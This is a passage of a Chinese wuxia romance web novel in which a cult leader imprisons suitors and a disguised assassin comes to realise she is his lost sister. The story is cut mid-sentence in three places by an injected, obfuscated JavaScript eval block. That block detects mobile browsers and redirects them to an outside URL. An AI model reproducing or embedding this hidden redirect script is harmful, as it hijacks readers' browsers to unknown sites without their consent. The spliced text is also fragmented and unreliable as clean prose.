桑妩像方才对待颜旭那般,手掌缓缓下移按在顾清淮胸口,再次问道:“那你为何要来这天阙峰?” 眼前的少年顿了片刻,竟伸手覆在了她手背之上,少年手心温热干燥,似乎毫不紧张,“他们说那姓郁的大侠是魔,不,是浮光教的人,说他不是好人,我却学了他的武功自是罪大恶极,因此他们将我赶出村子,我无处可去,只能来浮光教求一容身之处。” 顾清淮抬眸,直直对上桑妩探寻含笑的目光,轻声恳求:“求教主垂怜。” 眼前的少年目光沉静而又专注,如月光下湖面潋滟的水波,让人忍不住沉溺其中,桑妩伸手缓缓抚过少年深邃的眼角,赞叹道:“这双眼睛可真好看,像秋月下清澈的湖水。” 桑妩嗓音极轻极柔,尾音更是带着妩媚的卷,却听的顾清淮淡漠的身躯猛地一震,一股久违的悸动如同藤蔓般迅速蔓延开来。 他幼时生的胖,阿姐时常嫌弃他长的像个球,却唯独喜欢他的眼睛,说他的眼睛像秋月下的湖水一样清澈澄净。 没想到多年后再次听到同样的话,却是从这个魔头口中说出。 眼前的女子一袭紫衣妩媚灿烂,仿佛将漫山香雪聚于一身,顾清淮却清楚地知道这样明艳的外表下藏着的,其实是一颗极其狠辣无情的心。 顾清淮心中渐渐泛起冷意,他的阿姐是世上最好的女子,他怎可将这魔头和阿姐相提并论。 他正欲避开视线,却听见桑妩笑着又道:“这么好看的眼眸若是染上水色,想必会更诱人。” 话音刚落桑妩蓦地掐住顾清淮脖颈,柔软的手指却像是有千钧之力,牢牢桎梏住那脆弱而又修长的地方,让人丝毫动弹不得。 谁也没想到桑妩上一刻还和颜悦色,下一刻便会突然动手,顾清淮呼吸被骤然切断,没多久胸腔中的空气便一点一点消失殆尽,他双手垂在身侧用力地紧紧攥着,克制住体内汹涌翻腾着想要反抗的内息。 少年清冷的脸庞渐渐染上异常的潮红,眼角泛出生理性的泪水,可那颤抖的水光之下仍是一片沉静的湖面,淡色的唇角甚至慢慢扬起似有若无的弧度。 桑妩心中倏地一震,随即一股漫天的暴戾渐渐从四肢中涌出,她还是第一次见这人露出笑意,却没想到是在这种情况下。 “你这是在用笑容掩饰痛苦么,”桑妩手指渐渐加力,嗓音冷冽而又魅惑,“真想看看你被弄到崩溃时,是否还能这般冷静淡然。” 话音刚落,桑妩终于松开那给少年带来窒息痛苦的手,不再理会那因为终于得以呼吸而剧烈喘息的身影,施施然走到下一个人面前。 顾清淮胸口剧烈的起起伏伏,脑海里却再次浮现幼年之事。 在石河村时,他因为练功没有进展被阿爹狠狠责怪后一个人在河边哭泣,其他的小孩子都跑过来围在他身旁笑话他,是阿姐过来将那些人赶跑,又将他抱在怀里对他说:“你若是难过痛苦,在外人面前便更要笑着,多笑笑也许就不会那么痛苦了。” 后来每次他不开心,阿姐总会想方设法地让他开心起来,后来不管他再受到怎样的伤痛,脸上都会挂着笑意。 桑妩并不关心顾清淮在想些什么,不到一柱香的功夫她已将剩余之人走遍,除了那郁淮,便只有一个叫应拭雪的男子长相能入她眼。 只是,他们口中都没有一句实话。 有的人嘴上说着喜欢她可眼里却是掩饰不住的恶心,而那个郁淮,一举一动看似天衣无缝,却有两处破绽。 他口口声声求她垂怜,可她手掌之下的心跳却是缓慢而又沉稳,分明是对她的靠近没有丝毫情绪波动。 他说自己没有容身之处,可是就凭他这张脸,他在哪儿都能过的好,何必要来这天阙峰。 这些人,不过是各怀鬼胎。 要么是看上了青冥宫的财富,要么就是想要她的命。 有意思。 “妙极!”桑妩豪爽一笑,坐回那铺着纯白虎皮的软榻上。 紫霄使见桑妩对这些人似乎颇为满意,俊朗的脸庞闪过一丝阴狠,“尊主,这些人来历不明,不如等属下一一审问过,确认没有问题再送给尊主。” 桑妩却不甚在意地摆了摆手,“后山的悬笼还有许多空着,把他们都关进去便是。” 她相信只要被关在悬笼,最多一日功夫这些人便会把自己的姓名来历都吐露干净。 “季愁除外。”桑妩伸手指向那娃娃脸,“把他送到青鸾使的房间。” “是。”紫霄使应声的同时脸上情不自禁地露出抹幸灾乐祸的笑意,一直悬着的心在此刻终于放了下来,看来尊主并没有看上这些人,否则也不会直接把人关进悬笼。 浮光教的悬笼是在山的内壁上凿出若干狭窄的凹洞,在洞口封上铁栏再覆以厚重的石板,隔绝一切声音和光线,唯有顶部连接山壁处留有通风的小口,极暗、极静。这素来是用来惩罚犯了重罪的教众和折磨浮光教仇敌的手段,哪怕是他听到“悬笼”二字也禁不住要打个寒颤。 随着桑妩一声命下,站在众人身后的浮光教护卫瞬间动作,将众人双臂反剪禁锢在身后。 众人此时哪里还能不明白那悬笼绝对不是什么好地方,有胆小的人瞬间吓的肝胆俱裂,脸色惨白如纸,“桑教主,在下所说句句属实,绝对没有欺瞒于您!” 桑妩斜倚在榻上,却连看都懒得看上一眼,她知道这些人中确实有人是真心想要随侍,可她把这些人关入悬笼还有一重目的。 关起来,磨磨性子,才会知道该怎么讨好人。 卢青阳瞥了眼被同样对待的顾清淮,忍不住传音入密道:“顾盟主,看来你这美色也有无用的时候。” 他还以为这女魔头只要看到顾清淮这张脸怎么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878124|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会当即招他侍寝,毕竟当初那于家大小姐可是才见顾清淮一面就非他不嫁,强行拜了流云宗鹤明长老为徒,赖在流云宗不走。 见顾清淮脸色丝毫未变像是没有听到他的话,卢青阳心中焦急万分忍不住再次传音入密:“你们流云宗在这魔教里不是安排了眼线卧底么,这悬笼到底是什么东西,万一被关进去出不来了怎么办!” 顾清淮确实并不担忧,他能看出来,桑妩并不想要他们的命,她把他们关起来只是想要逼问出他们的来历目的,同时给他们一个下马威而已。 * 夜已深。 天阙峰的夜比起别地总是要冷上许多,是时一轮圆月高悬夜空,在粼粼的温泉池中投下明亮的月影。 桑妩素来对自己的武功很是自负,毕竟她是整个浮光教数百年来,唯一一个将霜天功练至第九重的人,可自从她突破第九重后,每到子时便会周身寒冷难耐,唯有这山谷处的温泉能缓解一二,此乃教中秘事知情者甚少。 “尊主,静姝回来了。”一个黄衣女子走到她身旁恭敬地禀告道。 “你总算回来了,”桑妩看着来人微微一笑,“可有那顾清淮的消息?此次他杀我四大护法,重伤青鸾使,想必很是春风得意吧。” “确如尊主所说,经此一役顾贼在正义盟中的威望达到了顶峰,大江南北都是对他的赞颂。” 桑妩眸色渐冷,若不是这厮抢走龙血草,也许她此刻已不用再夜夜泡温泉,只恨她无法长时间下山,否则岂会容此等小人猖狂。 静姝再次开口:“我们的内线传来消息,顾清淮已动身前往东海寻找鹿活草。” “鹿活草?”桑妩眸光倏地一震,“看来这鹿活草当真在东海,让紫霄、白虎同时去,这次务必谨慎行事,趁那厮不备抢回灵药便可,切不可正面冲突。” 静姝面露迟疑,“可若是两位护法都走了,这教中万一有事——” 桑妩却蓦地扬了扬唇,顾盼间意气尽显,“本教主百毒不侵,更何况这天阙峰上有谁的武功能胜过我?” 静姝勉强地点了点头,确实,虽然桑妩每晚都会寒冷难耐,但好在武功并没有受影响。 见静姝仍是一脸担忧,桑妩故作轻松地调笑:“昨日你不在,那个婢女侍奉我就像老鼠看到猫一样,搞得我好像什么很可怕的魔头。” 静姝这才转忧为笑,“尊主可不就是魔头,不然也不会兵不血刃地就让那正义盟的人自相残杀起来,还把他们都关在那可怕的悬笼中。” 桑妩舒适地靠在温泉的鹅卵石壁上,让肩膀缓缓没在冒着白色热气的温泉水中,“算算时间他们也快被关了两日一夜了,情况如何?” “那悬笼暗无天日又寂静的吓人,这八人被分开关押,从昨夜开始便已忍耐不住开始大吼大叫地求饶,把姓名来历全招了,按您的吩咐,即使招了的人我们也没有放他出来,而是每过两个时辰打开石板再次询问,直到每次招的都一模一样才把他们放出来,关在别院。 静姝越说笑意越深,“尊主您都不知道,那些人被放出来的时候要不是在痛哭流涕,要不就是在不停地重复自己的姓名来历,跟傻了一样。果然如主上所料,这八个人里有四个都是来刺杀您的,还有两个是垂涎青冥宫的财富地位,还有一人是妄图想来征服您。” 桑妩从静姝手中接过一纸名单,“卢青阳,二十一,千机阁,奉命刺杀;应拭雪,二十,烈阳宗,富贵险中求……” “这才被关了不到两日,真是无用、无趣。”桑妩意兴阑珊地将名单丢入温泉池边燃着的烛火中,看着明亮的火苗将黄纸吞没,才再次开口,“那个郁淮如何了,这名单上为何没有他的名字?” 想到那个被护卫反剪双臂仍是一脸淡然的少年,桑妩脸上终于涌现几分兴趣。 5. 刺杀 听到这个名字,静姝脸上的笑容瞬间消失,嗫嚅道:“我们每次打开石板,他都在那笼子里安静躺着,既没有求饶也没有哭闹,似乎没有丝毫情绪,不管怎么询问他的回答都和最开始一样。” “哦?”桑妩纤长的手指一下一下地点在圆润的鹅卵石上。 “也不知道这人是如何忍得住不发出一点动静,躺在那儿就像躺在家里床上一样,要是把奴婢关进去,不到一个时辰怕是就忍不住了。” 桑妩不禁想起十五岁那年,因为她不想杀死那些俘虏,师父便把她锁在悬笼关了一日一夜,最后还是青姨求情,师父才把她放出来。 而那一日一夜,她到现在想起仍然心有余悸。 这个郁淮却似乎习以为常,他究竟是心志坚定还是根本没有正常人的感情。 桑妩敲击鹅卵石的手指慢慢停下,过了半晌再次开口,“静姝,把他换到一号悬笼。” 静姝猛地一惊,一号悬笼能听见钟乳石上水滴下的声音,可听得见却喝不到,甚至耳边一直响起万年不变的水滴声,比完全的安静还要折磨人。 从来没有人能在水米未进的情况下,在一号悬笼撑过哪怕半日。 顾清淮此刻并不像表现出来的那般淡然,掩在宽阔衣袖下的修长双手紧紧攥着,挺直的脊背僵硬如石。 这种安静、黑暗的密闭环境,会让他控制不住地回想起躲在水缸中时的无助和恐惧。 明明知道村子里的人正在外面被残忍杀害,明明知道那些人杀死爹娘后要找的人是他,明明只需轻轻一推便能推开头顶的木板,却害怕地不敢动弹分毫。 从此,他便开始怕黑。哪怕他被师父带到流云宗后夜以继日地拼命练武,哪怕他现在可以打败所有敌人,却再也换不回石河村整个村子的性命。 两行清泪于极端的黑暗中无声淌下,双手攥紧到青筋凸起、骨节泛白,他现在只想杀桑妩灭魔教,替乡亲和爹娘报仇,也为他自己赎罪。 他不知道现在是什么时辰,但也许正是因为曾经长时间躲在水缸里看不见,他只能竖起耳朵去听缸外的动静,让他的听力比常人好上许多,他能隔着石板听到其余人招供的声音。 桑妩当真是厉害,简单两招便兵不血刃地套出他们的姓名来意,即使那些人被放了出去,为了不再被关回这个鬼地方,也只会使出浑身解数讨好桑妩。 可他不想讨好她,他只需要有一个接近她的机会,而要想成功接近她,他得让她对他感兴趣。 只要他能撑得住,桑妩定然会好奇地想要见他。 可是这确实太难熬了,他只能一遍遍地回忆记忆里为数不多的快乐。 阿爹和阿娘急切地想让他提高武功,当他们意外发现重明功和霜天功竟然相辅相成后,便让他一人同时修行两种功法,可他不管怎么练功,两种功法都在第一重止步不前,那段时间他一直愁眉不展,是阿姐带他出去散心,带他在清澈的石河里捡鹅卵石…… 顾清淮正沉浸在回忆中,厚重的石板突然打开,山洞内夜明珠的白光透了进来,让他不适应地眯起了眼。 随即,一个被揉成一团的纸团从铁栏间隙中丢了进来,顾清淮打开一看—— “桑妩寝殿位于青冥宫东南,穿过甬道后最大的一间便是。” 下面赫然附了一张地图! 顾清淮心中瞬间一窒,这人是谁,这是在帮他,还是在试探他,亦或是有人想借刀杀人。 可不管如何,既然想要他去杀桑妩,为何不将铁栏打开。 还是说,这个人想要看看他的能力能不能出这个牢笼,值不值得相帮。 这石板不知何时会再放下,顾清淮不再迟疑将浑身内劲聚于双手之上,内力猛地一吐,将铁栏从中间左右分开。 他竟就这么出来了,外面竟无一名守卫。 悬笼外是光滑的山壁,所幸距离地面并不远,以他的轻功轻松便可下去。 待顾清淮消失后,一直于暗处观望的人才终于缓缓现身。 “当真是好身手,想必定能助我成事。” 随后再次隐没不见。 顾清淮按照地图指引沿着甬道穿行,一路上两旁都竖立着华丽的铜制烛台,只是上面摆着的并不是蜡烛,而是像圆月一样又圆又大的夜明珠,若是卢青阳在此定是要再次感叹浮光教的奢华,顾清淮却只关心那人给的地图是否为真。 不知是否是有人为他提前清楚了障碍,一路走来并没有碰到多少守卫,可是很快,前方突然传来脚步声和甲胄的碰撞声,是魔教的金甲卫! 顾清淮心中顿时一凛,此时他左右皆是紧闭的房门,后面是来时的路,前面的脚步声已然越来越近,就在顾清淮孤注一掷准备随便打开一扇门躲进去时,身旁的门突然打开—— 一只手将正在犹豫的他猛地拽了进去。 顾清淮脊背瞬间绷紧,周身内力聚于右手向来人轰去—— “是我,季愁。”一个温和的嗓音突然安响起。 顾清淮变掌为爪一把握住季愁命门,冷冽而沉重的压迫感让季愁说话都变得有些艰难,“我,我对你没有敌意,不然我何必把你拽进来,直接让你被金甲卫发现不就好了。” 顾清淮手中加力,周身戒备没有丝毫减弱,“你想做什么?” “我只是想帮你,顺便想劝你一件事,”季愁圆润的娃娃脸上露出一抹讨喜的笑容,“你不必这般紧张,你应该知道我根本打不过你。”并且他知道顾清淮不惧怕任何毒药,自然也不会怕他。 顾清淮封住季愁肋下两处大穴,这才开始打量起这个屋子,这个屋子明显是个女子的房间,靠墙摆着一排排木制的架子,上面放着许多贴着签纸的瓶瓶罐罐,最里面的床上似乎躺着一个人,隔着重重的白色纱幔看不真切。 顾清淮想起那日桑妩说的话,眉心微微动了动,这个季愁似乎正在替青鸾使疗伤,难道,这是青鸾使的房间? 他想起师父的教诲,眸中浮现一抹微不可察的杀意,可想起那日青鸾使倒在血泊中的哀婉,哪怕她整个天阙峰上唯一见过他样貌之人,他仍是下不去手。 “你想劝我什么事?”顾清淮对着季愁问道。 季愁被封住穴道动弹不得,好在仍能说话:“我知道你此来是想刺杀桑——教主,但是我想劝你放弃,教主她是个好人,而且,你若杀了她,你一定会后悔的。” 顾清淮脸色没有丝毫变化,眼底是一贯的清冷和漠然,“若你执意阻拦,我不介意连你一块杀了。” “小——”季愁脸色一急,正欲再次相劝,屋外突然响起由远及近的脚步声。 顾清淮猛地封住季愁哑穴,压低了声音说道:“有人来了。” 来人脚步声虽轻,好在他耳力极佳才没有错过。 很快,门口响起女子慵懒的嗓音,“你们守在门口,不准任何人进来打扰。” “是。”金甲卫齐声应道。 听见这个熟悉的女子嗓音,季愁眼底猛地涌上一丝焦急,“遭了,每日这个时辰桑妩都会来看望青鸾使,你快找地方躲起来!” 顾清淮环顾一圈,出手如电解开季愁穴道,电光火石间钻进了一旁竖立的高大衣柜中。 几乎是在柜门阖上的同时,房门被“咯吱”一声推开,一名婀娜曼妙的紫衣女子轻步而入,脸上带着若有似无的妩媚笑意,“阿愁,青姨今日情况如何?” 青鸾使是被流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878125|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云宗的重明功所伤,和霜天功正好相克,她每日都来替青鸾使输内力却只能延缓内劲的爆发无法根除。 若想彻底治好青鸾使,要么是寻找一重明功修为极高之人化开这股内劲,要么便是她的霜天功修为能超过留下这重明功暗劲之人,直接驱除这股内劲,可惜顾清淮的内功修为与她不相上下。 想到此处桑妩又是一阵怒火中烧,若不是那该死的顾清淮抢走了她的龙血草,她此刻已然突破至霜天功的第十重,又何至于连青鸾使都救不醒。 季愁克制住自己不去看衣柜的方向,恭敬答道:“回教主,所幸青鸾使昏迷后一直有您替她输送内力,在下也只能力所能及地配一些药,延缓内劲的爆发。” 桑妩冷眼看向床上,青鸾使昏迷不醒地躺着,因为重伤的缘故美貌的脸庞已是苍白如雪,桑妩姣好的眼眸闪过一丝凛冽杀意,“青姨,我定会将那顾清淮千刀万剐,替你报仇。” 季愁闻言一怔,忍不住暗暗瞥向衣柜,好在桑妩此时眼里只有青鸾使,没有注意到他的异常。 此时静姝已将青鸾使扶了起来,桑妩双手抵住青鸾使后背,浩瀚的霜天功内力缓缓而入,随着内力涌入,青鸾使脸色渐渐红润,可桑妩脸色却是逐渐苍白,可那双手却始终没有放开。 顾清淮藏在衣柜里,将呼吸压抑到几近于无,即使季愁总是挡在柜门前,可透过柜门之间的细小缝隙,他仍是将这一切尽收眼底。 却不想似桑妩这般凶残暴虐的魔头,竟也会为了旁人折损自己的内力,那给他地图引他来此之人,是否也是知道桑妩每日这个时辰都会来此,而待她渡完内力便是她一日之中功力最弱之时,且只有静姝在她身旁,实在是他下手的最好时机。 顾清淮屏气凝神地盯着床上两人,眼见桑妩眉心紧蹙显然正在运功的紧要关头,顾清淮双眸陡然一肃,周身气势聚于手掌,自衣柜中猛地一掌轰出! 挡在衣柜前的季愁被掌风波及,猛地吐出一口鲜血倒在地上。静姝大惊之下出掌阻拦,可很快便惊悚地发现,她引以为傲的武功在此人面前竟如此不堪一击。 桑妩脸色骤然一沉,竟然有人藏匿于柜中!她的内力此时已和青姨相融一处,若是她撤掌抵抗,内息陡然受阻之下不仅她会重伤,就连青姨都会当即毙命。 桑妩眸光骤狠,右手依旧按于青鸾使后背,左手聚力格挡,不过瞬息之间两人手掌相接,双方内力瞬间剧烈震荡! 屋内的静姝和季愁同时被波及,桑妩更是猛地吐出一口鲜血,本就疲惫的脸色霎地苍白,心中猛然一沉,这个偷袭者内力竟与她不相上下。 桑妩冷然转过头,正对上一双蕴着冷冽杀意的淡漠眼眸,竟是本该被关在悬笼中的郁淮! 桑妩咽下口中腥甜问道:“你究竟是何人,为何要伤我?” 只要能再拖一盏茶的功夫,她便能撤掌保全青姨。 然而对方似乎也洞察了她的目的,少年冷冽的双眸再次凝聚,没有丝毫犹豫地再次一掌轰出,而这一掌来势比起上一掌更加凶猛,这是想要对她一击致命! “不要!”季愁倒在地上目眦欲裂,眼尾尽红。 桑妩右手依旧贴于青鸾使后背,左手运起剩余内力格挡,眼见来人掌风已近在咫尺,甚至吹起了她额头缀着的宝石流苏,电光火石间桑妩只能阖上双目,运气护住周身要穴,等待疼痛的到来。 然而想象中的疼痛并没有到来。 “唔——”耳边蓦地响起一声男子的闷哼。 桑妩闻声睁开眼,眼前少年竟猛地喷出一口鲜血,染红了身前纯白的衣襟。 她狠狠地蹙起眉,这人竟是在最后关头强行收手,未及散去的掌力全部反噬自身。 6. 温泉 眼前的场景过于出人意料,桑妩却没有细想,而是屏气凝神抓紧时间运功,很快,最后一周天终于运行完毕,桑妩瞬间撤力收掌目光陡然凌厉! 几乎是在撤掌的同时桑妩快速抽出腰间长鞭,金色鞭尾在空中快速抖动,留下一丝根本看不清的残影。 地上的少年单手撑地半跪着,唇角还留有鲜红的血迹,看向她的漆黑双目眼尾泛红,颤抖的水光中透着极度的震惊。 两人交手不过瞬息之间,守在屋外的金甲卫听见动静,猛冲进来,看见屋内景象后均是一惊,长剑齐声出鞘,将顾清淮围在中间。 少年目光却只一瞬不瞬地盯着她,桑妩一身紫衣执鞭而立,额头坠着的紫色宝石方才被掌风击落在地,淡粉色的五瓣梅花在苍白脸色映衬下愈发娇艳清绝,风华无双。 顾清淮喉结快速地上下滚动,似是在努力抑下翻涌而上的气血,素来淡漠的嗓音透着颤哑:“你额头的梅花痕迹,是,是谁给你画的?” 桑妩摸了摸额头,霍然冷笑:“与你何关?” 顾清淮暗自环顾一圈,先机已失此时他再也没法接近桑妩,更无法弄清这个梅花痕究竟是否和阿姐有关,电光火石间顾清淮放纵体内气血翻涌,一口鲜血喷涌出来,倒在了地上。 若是让流云宗的人看到定会大吃一惊,堂堂正义盟盟主竟会装晕。 桑妩心中一直绷紧的弦终于松了下来,此人看上去十分年轻,武功之高却是世所罕见,仅一掌便让她受了内伤,第二掌更是来势凶猛,她本是避无可避,必定重伤,届时若再有第三掌便是回天乏术。 这是一个杀死她的绝佳机会,他却在最后关头强行收手。 甚至不惜自伤。 静姝从怀中掏出一颗绿色药丸服下,脸色瞬间平复了不少,她从地上站起,将同样的一颗药丸递到桑妩手边,“尊主,快服下。” 桑妩接过药丸服下,很快,一股暖流自丹田升腾而起,四肢慢慢地又充满了澎湃的力量,这是浮光教秘制的玄极丹,对治疗内伤有奇效,她自己身上也常年带有,以备不时之需。 待确认自己并无其他不适后,桑妩这才转身看向一旁同样被金甲卫押住的季愁,冷道:“你是怎么把他从悬笼中放出来的?” 不知为何,她总感觉这季愁十分亲近酷似故人,让她提不起杀心,若是换了一人,绝对不会再有说话的机会。 “教主,不是我把他放出来的,我,我也不知道怎么回事,我绝对不会做任何对教主不利的事!”季愁脸色焦急,似乎生怕她不相信他的话。 桑妩锐利的目光透着审视,过了片刻才示意金甲卫放开季愁。 直觉告诉她季愁没有说谎,并且不说季愁,就连她方才进屋后都没有发现柜子里竟然藏着个人,此人隐匿气息的本领当真是极好。 竟能从悬笼中逃脱,还藏在柜中暗算于她,她已许久未曾受过这么重的伤,一股恼怒和气愤倏地升腾,桑妩走到郁淮身旁,猛地抬脚,一脚狠踹了过去! 少年白色的身影像羽毛一样飞向外间,落地的瞬间又是一口鲜血喷出,明显再次受了内伤。 桑妩目光冰凉,语气更是淡的发冷,“把他关入寒狱,务必撬开他的嘴。” 季愁见状控制不住地皱起了眉,浮光教的寒狱比起悬笼更加令人闻风丧胆,悬笼考验人的心志,寒狱则真真是人间地狱,浮光教拷问人的花样之繁杂手段之残酷,没有人能经得住。 只能状似无意地说道:“教主且慢,看这人模样,他似乎是以前便认识教主?” 静姝奇怪地看了眼季愁,似是不解他为何会突然开口,却仍附和道:“尊主,属下也感觉有些异常,这人为何会格外关注您的梅花印记?还有这明明是您的胎记,他却说成是画上去的,这当中定有些蹊跷,不如先留他一命,细细审问。” “放心,他死不了。”桑妩语气淡淡。 她自是要好生审问,她要知道他是如何从悬笼中逃脱,又是如何找到此处,又是为何突然收手,还有什么同谋。 却没有发现,在方才静姝那番话说完时,外间本该昏迷的少年眉心微不可察地动了动。 “静姝,派人去好生查一这个郁淮,年纪轻轻便有此内功,究竟来自何门何派,家在何处。”桑妩没想到季愁竟会为这少年求情,既然如此,她并不介意过两天再把他丢进寒狱。 “是。”静姝恭声应下,“只是,他似乎格外关注您额头的胎记,您平日里额头坠有流苏正好盖住花瓣,不知都有哪些人知道您有这个胎记?” 桑妩神情微怔,知道她额头胎记的人,应该都已不在人世了。 她在软榻上缓缓坐下,素来明艳的脸庞仍旧有些苍白,目光中却透着罕见的怀恋,“以前我还叫桑檀,只是石河村中一个普通的孩童,而知道这个胎记的恐怕也只有石河村的乡亲了。” “教主您那时可有要好的朋友吗?”季愁站在一旁,突然问道。 季愁这问话称得上逾越,可桑妩并无反应,静姝也不好越俎代庖。 桑妩却若有所思地看了眼季愁,竟是回答了他的提问,“那时除了弟弟妹妹外,我还有两个相熟的玩伴,只是他们都已不在人世了。” “从没听您提起过呢?”静姝终于也好奇起来,这些年一直是她陪在尊主身边,却从来都不知道尊主以前的事。 桑妩向软榻后靠了靠,整个人慵懒又惬意,“那个时候除了我爹娘,其他人家都不让女儿在外面疯跑,所以和我玩的来的人并不多,玩的最好的一个人叫楼稷,和我同岁却小上几个月,我总爱逼他叫我阿姐,还有一个叫郁小六,比我小了四岁长的跟个圆土豆一样,总爱跟在我和楼稷屁股后头。” “后来呢,他们现在都在哪儿?”静姝坐在软榻旁听的很是入迷,托着腮就问了出来。 “后来啊……”桑妩眼神时有时无地瞥向季愁,“当初郁小六一家是从外面搬来村里的,大家对他们都很照顾。可谁能想到,正是他们一家人将屠夫引了过来,那些人残忍地屠杀了整个村子,我的爹娘,我所有的亲人朋友,都丧身于那日的屠杀中,可他们仍不满足,竟然还放火毁尸灭迹!” 桑妩嗓音冷冽,透着刺骨杀意。 明明屋内十分温暖,这般骇人暴行却听得静姝一阵寒意,她想到什么恍然大悟地说道:“所以尊主这些年一直在追查当初石河村的惨案,是因为您就是石河村的人。” “冤有头债有主,我定会要那些人血债血偿。” 屋内一时安静了下来,哪怕是只知武艺的金甲卫也敏锐地察觉到桑妩情绪的异常,纷纷低下头去,生怕在此时触怒她惹祸上身。 季愁视线却远远落在倒在外间的少年身上,忽然咬紧了唇,试探着问道:“教主,那您恨小六吗?” 桑妩倏地一怔,方才那些话她其实是故意说给季愁听,她想过他听完会有的反应,却唯独没想到会是这个,她怔愣片刻,无声地笑了笑,“自然是恨的。” 她一直当作弟弟疼爱的人,却间接害的她家破人亡。 她知道他也是受害者,甚至当日面对屠刀时她第一反应就是挡在他身前,可她并非圣人。 多少次午夜梦回她总会控制不住地怨恨,若不是他们一家,她本可以在村子里平安长大,她还是那个被父母宠爱着,一生幸福无虞的女孩。 季愁脸庞瞬间一白,似乎没想到她会这么回答,本就发白的嘴唇颤了颤,终是将想要说的话咽了下去。 桑妩正想说些什么,一股难言的晕眩突然钻入脑袋,她伸手揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878126|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了揉眉心,略显疲惫地说道:“今日受了内伤,我要去山谷温泉调养,先把他关起来,务必严加看管。” “是,尊主。”金甲卫首领墨崖看着桑妩,恭声应道。 静姝也暗暗叹了一声,谁能想到尊主不过是来青鸾使房中探个病,竟会碰到这么多事,就该把这该死的郁淮丢到寒狱中,让他后悔今日伤了尊主。 桑妩和静姝两人离开后,一直假装昏迷不醒的顾清淮,悄然睁开了眼。 他怔怔地看着桑妩离去的方向,忽然轻笑出声,不知笑了多久,直到身子也跟着颤抖起来,泪水从泛红的眼角无声滑落。 阿姐竟然没有死,她竟然还活着,他找到阿姐了,他竟然找到她了! 失而复得的狂喜如一阵狂风猛烈撞来,撞的他脑袋一片空白,浑身气血不受控制地胡乱激荡,让他再也听不见任何声音。 此刻他的世界一片寂静雪白,只有那紫色的绝丽身影越发清晰。 “统领,他没有昏迷!”一名金甲卫发现了顾清淮,连忙高声示警。 顾清淮却根本没有听到金甲卫的声音,狂喜过后,一股强烈的后怕如海浪般席卷而来,几乎要把他整个淹没。 他一心想要除之而后快的桑妩竟然会是他的阿姐,他好容易才又找到她,却差一点就要害死她,他差一点就要再次失去她。 浓烈的愧疚和自责排山倒海般倾泻而来,情绪剧烈波动之下顾清淮周身气势陡增,内力瞬间澎湃激荡,让人无法靠近他半步。 * 天阙峰山谷的地热绵延数里,让此处比其他地方暖和不少,源头的一汪温泉处更是一年四季鲜花常开不败,因此得名百花泉。 此时天色已暗,一轮明亮弯月高悬夜空,在泛着水纹的池面投下淡淡的月影。 桑妩整个身子都浸在温泉中,后背惬意地靠在鹅卵石做成的池壁上,让炙热的温泉水驱走身体里的寒意。 百花泉是露天的,天然的鹅卵石形成层层台阶,泉水从最高处的温泉池中溢出沿着台阶流下,金甲卫在台阶最下面站成一排,以免有人闯入。 在这浮光教中自是没有人敢打扰桑妩休息,却没想到今夜真的迎来了不速之客。 顾清淮出现时台阶下瞬间一阵混乱,金甲卫长剑齐声出鞘,锋利剑尖直指闯入者。 桑妩头疼地叹了口气,她泡温泉时虽不戴首饰却常年身着中衣,就是以防会有意外情况发生,只是这一年来,还是第一次真的有意外。 她悠悠转头看去,漫不经心的目光却在看清来人样貌后瞬间一凛,竟然又是那个郁淮!那墨崖当真是个废物,统领金甲卫这么多年却连一个受了伤的人都拦不住。 “让他上来。”桑妩冷声吩咐,她倒要看看,这个人到底想做什么,明明能杀她却不杀,明明重伤却要追到百花泉来。 金甲卫如潮水般向两边分开,给顾清淮让出一条通道,却并未收剑回鞘,而是在原地严阵以待。 桑妩手指一下一下地点在池沿,等着少年靠近,可是过了许久,那人依旧一动不动地站在约莫两级台阶下,没有再上前一步。 桑妩向下坐了坐让泉水淹没肩膀,整个人舒适地靠在池壁上假寐,她不信这人突破重重难关来见她,就是为了站一整夜。 果然,过了不到一炷香的功夫,少年终于动了。 桑妩身子仍然没在池面下一动不动,周身内劲却已悄然凝聚,随时都能跃起一击。 可是很快,身前传来一阵衣衫的摩挲声,便再次没了动静,耳边一片寂静,静到只有池边烛火细小的噼啪声。 桑妩困惑地睁开眼,透过温泉缭绕的白雾,眼前的情景让她猛地皱起眉。 这人竟是在温泉池边的鹅卵石上,朝她远远地跪了下去。 7. 身份 桑妩抬眼看去,少年一身白衣,腰间束着淡蓝锦带,衬得腰身劲瘦颀长,是时天色黑暗万山载雪,少年默默地跪坐在她的前方的梅花树下,眉弓如月清冷萧瑟。 